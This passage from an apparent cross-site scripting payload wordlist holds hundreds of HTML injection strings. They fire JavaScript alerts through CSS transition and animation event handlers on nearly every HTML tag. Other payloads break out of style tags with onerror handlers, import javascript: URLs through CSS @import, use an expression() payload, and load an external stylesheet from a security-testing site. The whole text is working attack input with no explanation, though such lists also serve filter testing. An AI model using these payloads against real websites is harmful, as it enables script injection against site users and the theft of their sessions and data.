ontransitioncancel=alert(1)></script> <style>:target {color:red;}</style><section id=x style="transition:color 1s" ontransitionend=alert(1)></section> <style>:target {color: red;}</style><section id=x style="transition:color 10s" ontransitioncancel=alert(1)></section> <style>:target {color:red;}</style><select id=x style="transition:color 1s" ontransitionend=alert(1)></select> <style>:target {color: red;}</style><select id=x style="transition:color 10s" ontransitioncancel=alert(1)></select> <style>:target {color:red;}</style><shadow id=x style="transition:color 1s" ontransitionend=alert(1)></shadow> <style>:target {color: red;}</style><shadow id=x style="transition:color 10s" ontransitioncancel=alert(1)></shadow> <style>:target {color:red;}</style><s id=x style="transition:color 1s" ontransitionend=alert(1)></s> <style>:target {color: red;}</style><s id=x style="transition:color 10s" ontransitioncancel=alert(1)></s> <style>:target {color:red;}</style><slot id=x style="transition:color 1s" ontransitionend=alert(1)></slot> <style>:target {color: red;}</style><slot id=x style="transition:color 10s" ontransitioncancel=alert(1)></slot> <style>:target {color:red;}</style><small id=x style="transition:color 1s" ontransitionend=alert(1)></small> <style>:target {color: red;}</style><small id=x style="transition:color 10s" ontransitioncancel=alert(1)></small> <style>:target {color:red;}</style><source id=x style="transition:color 1s" ontransitionend=alert(1)></source> <style>:target {color: red;}</style><source id=x style="transition:color 10s" ontransitioncancel=alert(1)></source> <style>:target {color:red;}</style><spacer id=x style="transition:color 1s" ontransitionend=alert(1)></spacer> <style>:target {color: red;}</style><spacer id=x style="transition:color 10s" ontransitioncancel=alert(1)></spacer> <style>:target {color:red;}</style><span id=x style="transition:color 1s" ontransitionend=alert(1)></span> <style>:target {color: red;}</style><span id=x style="transition:color 10s" ontransitioncancel=alert(1)></span> <style>:target {color:red;}</style><strike id=x style="transition:color 1s" ontransitionend=alert(1)></strike> <style>:target {color: red;}</style><strike id=x style="transition:color 10s" ontransitioncancel=alert(1)></strike> <style>:target {color:red;}</style><strong id=x style="transition:color 1s" ontransitionend=alert(1)></strong> <style>:target {color: red;}</style><strong id=x style="transition:color 10s" ontransitioncancel=alert(1)></strong> <style>:target {color:red;}</style><style id=x style="transition:color 1s" ontransitionend=alert(1)></style> <style>:target {color: red;}</style><style id=x style="transition:color 10s" ontransitioncancel=alert(1)></style> <style>:target {color:red;}</style><sub id=x style="transition:color 1s" ontransitionend=alert(1)></sub> <style>:target {color: red;}</style><sub id=x style="transition:color 10s" ontransitioncancel=alert(1)></sub> <style>:target {color:red;}</style><summary id=x style="transition:color 1s" ontransitionend=alert(1)></summary> <style>:target {color: red;}</style><summary id=x style="transition:color 10s" ontransitioncancel=alert(1)></summary> <style>:target {color:red;}</style><sup id=x style="transition:color 1s" ontransitionend=alert(1)></sup> <style>:target {color: red;}</style><sup id=x style="transition:color 10s" ontransitioncancel=alert(1)></sup> <style>:target {color:red;}</style><svg id=x style="transition:color 1s" ontransitionend=alert(1)></svg> <style>:target {color: red;}</style><svg id=x style="transition:color 10s" ontransitioncancel=alert(1)></svg> <style>:target {color:red;}</style><table id=x style="transition:color 1s" ontransitionend=alert(1)></table> <style>:target {color: red;}</style><table id=x style="transition:color 10s" ontransitioncancel=alert(1)></table> <style>:target {color:red;}</style><tbody id=x style="transition:color 1s" ontransitionend=alert(1)></tbody> <style>:target {color: red;}</style><tbody id=x style="transition:color 10s" ontransitioncancel=alert(1)></tbody> <style>:target {color:red;}</style><td id=x style="transition:color 1s" ontransitionend=alert(1)></td> <style>:target {color: red;}</style><td id=x style="transition:color 10s" ontransitioncancel=alert(1)></td> <style>:target {color:red;}</style><template id=x style="transition:color 1s" ontransitionend=alert(1)></template> <style>:target {color: red;}</style><template id=x style="transition:color 10s" ontransitioncancel=alert(1)></template> <style>:target {color:red;}</style><textarea id=x style="transition:color 1s" ontransitionend=alert(1)></textarea> <style>:target {color: red;}</style><textarea id=x style="transition:color 10s" ontransitioncancel=alert(1)></textarea> <style>:target {color:red;}</style><tfoot id=x style="transition:color 1s" ontransitionend=alert(1)></tfoot> <style>:target {color: red;}</style><tfoot id=x style="transition:color 10s" ontransitioncancel=alert(1)></tfoot> <style>:target {color:red;}</style><thead id=x style="transition:color 1s" ontransitionend=alert(1)></thead> <style>:target {color: red;}</style><thead id=x style="transition:color 10s" ontransitioncancel=alert(1)></thead> <style>:target {color:red;}</style><th id=x style="transition:color 1s" ontransitionend=alert(1)></th> <style>:target {color: red;}</style><th id=x style="transition:color 10s" ontransitioncancel=alert(1)></th> <style>:target {color:red;}</style><time id=x style="transition:color 1s" ontransitionend=alert(1)></time> <style>:target {color: red;}</style><time id=x style="transition:color 10s" ontransitioncancel=alert(1)></time> <style>:target {color:red;}</style><title id=x style="transition:color 1s" ontransitionend=alert(1)></title> <style>:target {color: red;}</style><title id=x style="transition:color 10s" ontransitioncancel=alert(1)></title> <style>:target {color:red;}</style><track id=x style="transition:color 1s" ontransitionend=alert(1)></track> <style>:target {color: red;}</style><track id=x style="transition:color 10s" ontransitioncancel=alert(1)></track> <style>:target {color:red;}</style><tr id=x style="transition:color 1s" ontransitionend=alert(1)></tr> <style>:target {color: red;}</style><tr id=x style="transition:color 10s" ontransitioncancel=alert(1)></tr> <style>:target {color:red;}</style><tt id=x style="transition:color 1s" ontransitionend=alert(1)></tt> <style>:target {color: red;}</style><tt id=x style="transition:color 10s" ontransitioncancel=alert(1)></tt> <style>:target {color:red;}</style><u id=x style="transition:color 1s" ontransitionend=alert(1)></u> <style>:target {color: red;}</style><u id=x style="transition:color 10s" ontransitioncancel=alert(1)></u> <style>:target {color:red;}</style><ul id=x style="transition:color 1s" ontransitionend=alert(1)></ul> <style>:target {color: red;}</style><ul id=x style="transition:color 10s" ontransitioncancel=alert(1)></ul> <style>:target {color:red;}</style><var id=x style="transition:color 1s" ontransitionend=alert(1)></var> <style>:target {color: red;}</style><var id=x style="transition:color 10s" ontransitioncancel=alert(1)></var> <style>:target {color:red;}</style><video id=x style="transition:color 1s" ontransitionend=alert(1)></video> <style>:target {color: red;}</style><video id=x style="transition:color 10s" ontransitioncancel=alert(1)></video> <style>:target {color:red;}</style><wbr id=x style="transition:color 1s" ontransitionend=alert(1)></wbr> <style>:target {color: red;}</style><wbr id=x style="transition:color 10s" ontransitioncancel=alert(1)></wbr> <style>:target {color:red;}</style><xmp id=x style="transition:color 1s" ontransitionend=alert(1)></xmp> <style>:target {color: red;}</style><xmp id=x style="transition:color 10s" ontransitioncancel=alert(1)></xmp> <style>:target {transform: rotate(180deg);}</style><abbr id=x style="transition:transform 2s" ontransitionrun=alert(1)></abbr> <style>:target {transform: rotate(180deg);}</style><acronym id=x style="transition:transform 2s" ontransitionrun=alert(1)></acronym> <style>:target {transform: rotate(180deg);}</style><address id=x style="transition:transform 2s" ontransitionrun=alert(1)></address> <style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(1)></a> <style>:target {transform: rotate(180deg);}</style><applet id=x style="transition:transform 2s" ontransitionrun=alert(1)></applet> <style>:target {transform: rotate(180deg);}</style><area id=x style="transition:transform 2s" ontransitionrun=alert(1)></area> <style>:target {transform: rotate(180deg);}</style><article id=x style="transition:transform 2s" ontransitionrun=alert(1)></article> <style>:target {transform: rotate(180deg);}</style><aside id=x style="transition:transform 2s" ontransitionrun=alert(1)></aside> <style>:target {transform: rotate(180deg);}</style><audio id=x style="transition:transform 2s" ontransitionrun=alert(1)></audio> <style>:target {transform: rotate(180deg);}</style><basefont id=x style="transition:transform 2s" ontransitionrun=alert(1)></basefont> <style>:target {transform: rotate(180deg);}</style><base id=x style="transition:transform 2s" ontransitionrun=alert(1)></base> <style>:target {transform: rotate(180deg);}</style><bdi id=x style="transition:transform 2s" ontransitionrun=alert(1)></bdi> <style>:target {transform: rotate(180deg);}</style><bdo id=x style="transition:transform 2s" ontransitionrun=alert(1)></bdo> <style>:target {transform: rotate(180deg);}</style><bgsound id=x style="transition:transform 2s" ontransitionrun=alert(1)></bgsound> <style>:target {transform: rotate(180deg);}</style><b id=x style="transition:transform 2s" ontransitionrun=alert(1)></b> <style>:target {transform: rotate(180deg);}</style><big id=x style="transition:transform 2s" ontransitionrun=alert(1)></big> <style>:target {transform: rotate(180deg);}</style><blink id=x style="transition:transform 2s" ontransitionrun=alert(1)></blink> <style>:target {transform: rotate(180deg);}</style><blockquote id=x style="transition:transform 2s" ontransitionrun=alert(1)></blockquote> <style>:target {transform: rotate(180deg);}</style><body id=x style="transition:transform 2s" ontransitionrun=alert(1)></body> <style>:target {transform: rotate(180deg);}</style><br id=x style="transition:transform 2s" ontransitionrun=alert(1)></br> <style>:target {transform: rotate(180deg);}</style><button id=x style="transition:transform 2s" ontransitionrun=alert(1)></button> <style>:target {transform: rotate(180deg);}</style><canvas id=x style="transition:transform 2s" ontransitionrun=alert(1)></canvas> <style>:target {transform: rotate(180deg);}</style><caption id=x style="transition:transform 2s" ontransitionrun=alert(1)></caption> <style>:target {transform: rotate(180deg);}</style><center id=x style="transition:transform 2s" ontransitionrun=alert(1)></center> <style>:target {transform: rotate(180deg);}</style><cite id=x style="transition:transform 2s" ontransitionrun=alert(1)></cite> <style>:target {transform: rotate(180deg);}</style><code id=x style="transition:transform 2s" ontransitionrun=alert(1)></code> <style>:target {transform: rotate(180deg);}</style><colgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></colgroup> <style>:target {transform: rotate(180deg);}</style><col id=x style="transition:transform 2s" ontransitionrun=alert(1)></col> <style>:target {transform: rotate(180deg);}</style><command id=x style="transition:transform 2s" ontransitionrun=alert(1)></command> <style>:target {transform: rotate(180deg);}</style><content id=x style="transition:transform 2s" ontransitionrun=alert(1)></content> <style>:target {transform: rotate(180deg);}</style><data id=x style="transition:transform 2s" ontransitionrun=alert(1)></data> <style>:target {transform: rotate(180deg);}</style><datalist id=x style="transition:transform 2s" ontransitionrun=alert(1)></datalist> <style>:target {transform: rotate(180deg);}</style><dd id=x style="transition:transform 2s" ontransitionrun=alert(1)></dd> <style>:target {transform: rotate(180deg);}</style><del id=x style="transition:transform 2s" ontransitionrun=alert(1)></del> <style>:target {transform: rotate(180deg);}</style><details id=x style="transition:transform 2s" ontransitionrun=alert(1)></details> <style>:target {transform: rotate(180deg);}</style><dfn id=x style="transition:transform 2s" ontransitionrun=alert(1)></dfn> <style>:target {transform: rotate(180deg);}</style><dialog id=x style="transition:transform 2s" ontransitionrun=alert(1)></dialog> <style>:target {transform: rotate(180deg);}</style><dir id=x style="transition:transform 2s" ontransitionrun=alert(1)></dir> <style>:target {transform: rotate(180deg);}</style><div id=x style="transition:transform 2s" ontransitionrun=alert(1)></div> <style>:target {transform: rotate(180deg);}</style><dl id=x style="transition:transform 2s" ontransitionrun=alert(1)></dl> <style>:target {transform: rotate(180deg);}</style><dt id=x style="transition:transform 2s" ontransitionrun=alert(1)></dt> <style>:target {transform: rotate(180deg);}</style><element id=x style="transition:transform 2s" ontransitionrun=alert(1)></element> <style>:target {transform: rotate(180deg);}</style><embed id=x style="transition:transform 2s" ontransitionrun=alert(1)></embed> <style>:target {transform: rotate(180deg);}</style><em id=x style="transition:transform 2s" ontransitionrun=alert(1)></em> <style>:target {transform: rotate(180deg);}</style><fieldset id=x style="transition:transform 2s" ontransitionrun=alert(1)></fieldset> <style>:target {transform: rotate(180deg);}</style><figcaption id=x style="transition:transform 2s" ontransitionrun=alert(1)></figcaption> <style>:target {transform: rotate(180deg);}</style><figure id=x style="transition:transform 2s" ontransitionrun=alert(1)></figure> <style>:target {transform: rotate(180deg);}</style><font id=x style="transition:transform 2s" ontransitionrun=alert(1)></font> <style>:target {transform: rotate(180deg);}</style><footer id=x style="transition:transform 2s" ontransitionrun=alert(1)></footer> <style>:target {transform: rotate(180deg);}</style><form id=x style="transition:transform 2s" ontransitionrun=alert(1)></form> <style>:target {transform: rotate(180deg);}</style><frame id=x style="transition:transform 2s" ontransitionrun=alert(1)></frame> <style>:target {transform: rotate(180deg);}</style><frameset id=x style="transition:transform 2s" ontransitionrun=alert(1)></frameset> <style>:target {transform: rotate(180deg);}</style><h1 id=x style="transition:transform 2s" ontransitionrun=alert(1)></h1> <style>:target {transform: rotate(180deg);}</style><header id=x style="transition:transform 2s" ontransitionrun=alert(1)></header> <style>:target {transform: rotate(180deg);}</style><head id=x style="transition:transform 2s" ontransitionrun=alert(1)></head> <style>:target {transform: rotate(180deg);}</style><hgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></hgroup> <style>:target {transform: rotate(180deg);}</style><hr id=x style="transition:transform 2s" ontransitionrun=alert(1)></hr> <style>:target {transform: rotate(180deg);}</style><html id=x style="transition:transform 2s" ontransitionrun=alert(1)></html> <style>:target {transform: rotate(180deg);}</style><iframe id=x style="transition:transform 2s" ontransitionrun=alert(1)></iframe> <style>:target {transform: rotate(180deg);}</style><i id=x style="transition:transform 2s" ontransitionrun=alert(1)></i> <style>:target {transform: rotate(180deg);}</style><image id=x style="transition:transform 2s" ontransitionrun=alert(1)></image> <style>:target {transform: rotate(180deg);}</style><img id=x style="transition:transform 2s" ontransitionrun=alert(1)></img> <style>:target {transform: rotate(180deg);}</style><input id=x style="transition:transform 2s" ontransitionrun=alert(1)></input> <style>:target {transform: rotate(180deg);}</style><ins id=x style="transition:transform 2s" ontransitionrun=alert(1)></ins> <style>:target {transform: rotate(180deg);}</style><isindex id=x style="transition:transform 2s" ontransitionrun=alert(1)></isindex> <style>:target {transform: rotate(180deg);}</style><kbd id=x style="transition:transform 2s" ontransitionrun=alert(1)></kbd> <style>:target {transform: rotate(180deg);}</style><keygen id=x style="transition:transform 2s" ontransitionrun=alert(1)></keygen> <style>:target {transform: rotate(180deg);}</style><label id=x style="transition:transform 2s" ontransitionrun=alert(1)></label> <style>:target {transform: rotate(180deg);}</style><legend id=x style="transition:transform 2s" ontransitionrun=alert(1)></legend> <style>:target {transform: rotate(180deg);}</style><li id=x style="transition:transform 2s" ontransitionrun=alert(1)></li> <style>:target {transform: rotate(180deg);}</style><link id=x style="transition:transform 2s" ontransitionrun=alert(1)></link> <style>:target {transform: rotate(180deg);}</style><listing id=x style="transition:transform 2s" ontransitionrun=alert(1)></listing> <style>:target {transform: rotate(180deg);}</style><main id=x style="transition:transform 2s" ontransitionrun=alert(1)></main> <style>:target {transform: rotate(180deg);}</style><map id=x style="transition:transform 2s" ontransitionrun=alert(1)></map> <style>:target {transform: rotate(180deg);}</style><mark id=x style="transition:transform 2s" ontransitionrun=alert(1)></mark> <style>:target {transform: rotate(180deg);}</style><marquee id=x style="transition:transform 2s" ontransitionrun=alert(1)></marquee> <style>:target {transform: rotate(180deg);}</style><menu id=x style="transition:transform 2s" ontransitionrun=alert(1)></menu> <style>:target {transform: rotate(180deg);}</style><menuitem id=x style="transition:transform 2s" ontransitionrun=alert(1)></menuitem> <style>:target {transform: rotate(180deg);}</style><meta id=x style="transition:transform 2s" ontransitionrun=alert(1)></meta> <style>:target {transform: rotate(180deg);}</style><meter id=x style="transition:transform 2s" ontransitionrun=alert(1)></meter> <style>:target {transform: rotate(180deg);}</style><multicol id=x style="transition:transform 2s" ontransitionrun=alert(1)></multicol> <style>:target {transform: rotate(180deg);}</style><nav id=x style="transition:transform 2s" ontransitionrun=alert(1)></nav> <style>:target {transform: rotate(180deg);}</style><nextid id=x style="transition:transform 2s" ontransitionrun=alert(1)></nextid> <style>:target {transform: rotate(180deg);}</style><nobr id=x style="transition:transform 2s" ontransitionrun=alert(1)></nobr> <style>:target {transform: rotate(180deg);}</style><noembed id=x style="transition:transform 2s" ontransitionrun=alert(1)></noembed> <style>:target {transform: rotate(180deg);}</style><noframes id=x style="transition:transform 2s" ontransitionrun=alert(1)></noframes> <style>:target {transform: rotate(180deg);}</style><noscript id=x style="transition:transform 2s" ontransitionrun=alert(1)></noscript> <style>:target {transform: rotate(180deg);}</style><object id=x style="transition:transform 2s" ontransitionrun=alert(1)></object> <style>:target {transform: rotate(180deg);}</style><ol id=x style="transition:transform 2s" ontransitionrun=alert(1)></ol> <style>:target {transform: rotate(180deg);}</style><optgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></optgroup> <style>:target {transform: rotate(180deg);}</style><option id=x style="transition:transform 2s" ontransitionrun=alert(1)></option> <style>:target {transform: rotate(180deg);}</style><output id=x style="transition:transform 2s" ontransitionrun=alert(1)></output> <style>:target {transform: rotate(180deg);}</style><param id=x style="transition:transform 2s" ontransitionrun=alert(1)></param> <style>:target {transform: rotate(180deg);}</style><picture id=x style="transition:transform 2s" ontransitionrun=alert(1)></picture> <style>:target {transform: rotate(180deg);}</style><p id=x style="transition:transform 2s" ontransitionrun=alert(1)></p> <style>:target {transform: rotate(180deg);}</style><plaintext id=x style="transition:transform 2s" ontransitionrun=alert(1)></plaintext> <style>:target {transform: rotate(180deg);}</style><pre id=x style="transition:transform 2s" ontransitionrun=alert(1)></pre> <style>:target {transform: rotate(180deg);}</style><progress id=x style="transition:transform 2s" ontransitionrun=alert(1)></progress> <style>:target {transform: rotate(180deg);}</style><q id=x style="transition:transform 2s" ontransitionrun=alert(1)></q> <style>:target {transform: rotate(180deg);}</style><rb id=x style="transition:transform 2s" ontransitionrun=alert(1)></rb> <style>:target {transform: rotate(180deg);}</style><rp id=x style="transition:transform 2s" ontransitionrun=alert(1)></rp> <style>:target {transform: rotate(180deg);}</style><rtc id=x style="transition:transform 2s" ontransitionrun=alert(1)></rtc> <style>:target {transform: rotate(180deg);}</style><rt id=x style="transition:transform 2s" ontransitionrun=alert(1)></rt> <style>:target {transform: rotate(180deg);}</style><ruby id=x style="transition:transform 2s" ontransitionrun=alert(1)></ruby> <style>:target {transform: rotate(180deg);}</style><samp id=x style="transition:transform 2s" ontransitionrun=alert(1)></samp> <style>:target {transform: rotate(180deg);}</style><script id=x style="transition:transform 2s" ontransitionrun=alert(1)></script> <style>:target {transform: rotate(180deg);}</style><section id=x style="transition:transform 2s" ontransitionrun=alert(1)></section> <style>:target {transform: rotate(180deg);}</style><select id=x style="transition:transform 2s" ontransitionrun=alert(1)></select> <style>:target {transform: rotate(180deg);}</style><shadow id=x style="transition:transform 2s" ontransitionrun=alert(1)></shadow> <style>:target {transform: rotate(180deg);}</style><s id=x style="transition:transform 2s" ontransitionrun=alert(1)></s> <style>:target {transform: rotate(180deg);}</style><slot id=x style="transition:transform 2s" ontransitionrun=alert(1)></slot> <style>:target {transform: rotate(180deg);}</style><small id=x style="transition:transform 2s" ontransitionrun=alert(1)></small> <style>:target {transform: rotate(180deg);}</style><source id=x style="transition:transform 2s" ontransitionrun=alert(1)></source> <style>:target {transform: rotate(180deg);}</style><spacer id=x style="transition:transform 2s" ontransitionrun=alert(1)></spacer> <style>:target {transform: rotate(180deg);}</style><span id=x style="transition:transform 2s" ontransitionrun=alert(1)></span> <style>:target {transform: rotate(180deg);}</style><strike id=x style="transition:transform 2s" ontransitionrun=alert(1)></strike> <style>:target {transform: rotate(180deg);}</style><strong id=x style="transition:transform 2s" ontransitionrun=alert(1)></strong> <style>:target {transform: rotate(180deg);}</style><style id=x style="transition:transform 2s" ontransitionrun=alert(1)></style> <style>:target {transform: rotate(180deg);}</style><sub id=x style="transition:transform 2s" ontransitionrun=alert(1)></sub> <style>:target {transform: rotate(180deg);}</style><summary id=x style="transition:transform 2s" ontransitionrun=alert(1)></summary> <style>:target {transform: rotate(180deg);}</style><sup id=x style="transition:transform 2s" ontransitionrun=alert(1)></sup> <style>:target {transform: rotate(180deg);}</style><svg id=x style="transition:transform 2s" ontransitionrun=alert(1)></svg> <style>:target {transform: rotate(180deg);}</style><table id=x style="transition:transform 2s" ontransitionrun=alert(1)></table> <style>:target {transform: rotate(180deg);}</style><tbody id=x style="transition:transform 2s" ontransitionrun=alert(1)></tbody> <style>:target {transform: rotate(180deg);}</style><td id=x style="transition:transform 2s" ontransitionrun=alert(1)></td> <style>:target {transform: rotate(180deg);}</style><template id=x style="transition:transform 2s" ontransitionrun=alert(1)></template> <style>:target {transform: rotate(180deg);}</style><textarea id=x style="transition:transform 2s" ontransitionrun=alert(1)></textarea> <style>:target {transform: rotate(180deg);}</style><tfoot id=x style="transition:transform 2s" ontransitionrun=alert(1)></tfoot> <style>:target {transform: rotate(180deg);}</style><thead id=x style="transition:transform 2s" ontransitionrun=alert(1)></thead> <style>:target {transform: rotate(180deg);}</style><th id=x style="transition:transform 2s" ontransitionrun=alert(1)></th> <style>:target {transform: rotate(180deg);}</style><time id=x style="transition:transform 2s" ontransitionrun=alert(1)></time> <style>:target {transform: rotate(180deg);}</style><title id=x style="transition:transform 2s" ontransitionrun=alert(1)></title> <style>:target {transform: rotate(180deg);}</style><track id=x style="transition:transform 2s" ontransitionrun=alert(1)></track> <style>:target {transform: rotate(180deg);}</style><tr id=x style="transition:transform 2s" ontransitionrun=alert(1)></tr> <style>:target {transform: rotate(180deg);}</style><tt id=x style="transition:transform 2s" ontransitionrun=alert(1)></tt> <style>:target {transform: rotate(180deg);}</style><u id=x style="transition:transform 2s" ontransitionrun=alert(1)></u> <style>:target {transform: rotate(180deg);}</style><ul id=x style="transition:transform 2s" ontransitionrun=alert(1)></ul> <style>:target {transform: rotate(180deg);}</style><var id=x style="transition:transform 2s" ontransitionrun=alert(1)></var> <style>:target {transform: rotate(180deg);}</style><video id=x style="transition:transform 2s" ontransitionrun=alert(1)></video> <style>:target {transform: rotate(180deg);}</style><wbr id=x style="transition:transform 2s" ontransitionrun=alert(1)></wbr> <style>:target {transform: rotate(180deg);}</style><xmp id=x style="transition:transform 2s" ontransitionrun=alert(1)></xmp> <style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=alert(1)></xss> <style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 10s" ontransitioncancel=alert(1)></xss> <style><!--</style><script>document.vulnerable=true;//--></script> <style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style> <style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style> <style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style> <style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style> <style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style> <style><img src="</style><img src=x onerror=alert(123)//"> <style><img src="</style><img src=x onerror=alert(XSS)//"> <style><img src="</style><img src=x onerror=javascript:alert(1)//"> <style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> < <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style> <style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style> <style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style> <style>@import'http://www.securitycompass.com/xss.css';</style> <style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`> <style>@keyframes slidein {}</style><abbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></abbr> <style>@keyframes slidein {}</style><acronym style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></acronym> <style>@keyframes slidein {}</style><address style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></address> <style>@keyframes slidein {}</style><applet style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></applet> <style>@keyframes slidein {}</style><area style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></area> <style>@keyframes slidein {}</style><article style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></article> <style>@keyframes slidein {}</style><aside style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></aside> <style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a> <style>@keyframes slidein {}</style><audio style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></audio> <style>@keyframes slidein {}</style><basefont style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></basefont> <style>@keyframes slidein {}</style><base style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></base> <style>@keyframes slidein {}</style><bdi style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></bdi> <style>@keyframes slidein {}</style><bdo style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></bdo> <style>@keyframes slidein {}</style><bgsound style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></bgsound> <style>@keyframes slidein {}</style><big style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></big> <style>@keyframes slidein {}</style><blink style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></blink> <style>@keyframes slidein {}</style><blockquote style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></blockquote> <style>@keyframes slidein {}</style><body style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></body> <style>@keyframes slidein {}</style><br style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></br> <style>@keyframes slidein {}</style><b style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></b> <style>@keyframes slidein {}</style><button style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></button> <style>@keyframes slidein {}</style><canvas style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></canvas> <style>@keyframes slidein {}</style><caption style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></caption> <style>@keyframes slidein {}</style><center style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></center> <style>@keyframes slidein {}</style><cite style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></cite> <style>@keyframes slidein {}</style><code style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></code> <style>@keyframes slidein {}</style><colgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></colgroup> <style>@keyframes slidein {}</style><col style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></col> <style>@keyframes slidein {}</style><command style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></command> <style>@keyframes slidein {}</style><content style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></content> <style>@keyframes slidein {}</style><datalist style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></datalist> <style>@keyframes slidein {}</style><data style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></data> <style>@keyframes slidein {}</style><dd style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dd> <style>@keyframes slidein {}</style><del style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></del> <style>@keyframes slidein {}</style><details style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></details> <style>@keyframes slidein {}</style><dfn style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dfn> <style>@keyframes slidein {}</style><dialog style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dialog> <style>@keyframes slidein {}</style><dir style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dir> <style>@keyframes slidein {}</style><div style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></div> <style>@keyframes slidein {}</style><dl style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dl> <style>@keyframes slidein {}</style><dt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dt> <style>@keyframes slidein {}</style><element style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></element> <style>@keyframes slidein {}</style><embed style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></embed> <style>@keyframes slidein {}</style><em style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></em> <style>@keyframes slidein {}</style><fieldset style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></fieldset> <style>@keyframes slidein {}</style><figcaption style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></figcaption> <style>@keyframes slidein {}</style><figure style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></figure> <style>@keyframes slidein {}</style><font style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></font> <style>@keyframes slidein {}</style><footer style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></footer> <style>@keyframes slidein {}</style><form style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></form> <style>@keyframes slidein {}</style><frameset style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></frameset> <style>@keyframes slidein {}</style><frame style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></frame> <style>@keyframes slidein {}</style><h1 style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></h1> <style>@keyframes slidein {}</style><header style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></header> 